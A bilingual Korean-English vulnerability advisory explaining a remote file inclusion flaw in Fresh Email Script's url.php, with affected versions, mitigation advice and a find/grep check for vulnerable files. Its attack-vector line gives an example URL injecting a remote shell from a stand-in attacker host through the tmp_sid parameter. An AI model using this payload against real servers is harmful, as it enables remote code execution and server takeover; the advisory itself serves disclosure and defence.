🇰🇷 한글 설명
Fresh Email Script 1.0~1.11 버전의 url.php에서 tmp_sid 매개변수에 대한 부적절한 입력 검증으로 인한 원격 파일 포함(RFI) 취약점이다. 공격자는 이를 악용하여 서버에서 임의의 PHP 코드를 실행할 수 있다.
💡 쉬운 설명
Fresh Email Script이라는 구형 PHP 메일 프로그램에 허점이 있어서, 악의적인 사람이 인터넷을 통해 서버에서 원하는 명령어를 실행할 수 있습니다. 서버 전체가 장악될 수 있으므로 매우 위험합니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in url.php in FreshScripts Fresh Email Script 1.0 through 1.11 allows remote attackers to execute arbitrary PHP code via a URL in the tmp_sid parameter.
📍 영향받는 시스템
FreshScripts Fresh Email Script v1.0 ~ v1.11
⚔️ 공격 벡터
http://target.com/url.php?tmp_sid=http://attacker.com/shell.php 형태로 악성 파일 주입
🛡️ 대응 방법
최신 버전으로 업그레이드하거나 tmp_sid 매개변수에 대한 입력 검증 강화 패치 적용
🔧 검증 코드
명령어가 url.php 파일을 찾으면 취약한 Fresh Email Script가 설치된 것이며, 파일의 tmp_sid 관련 코드 검토 후 버전 확인 필요
find / -name 'url.php' 2>/dev/null | xargs grep -l 'tmp_sid' 2>/dev/null | head -1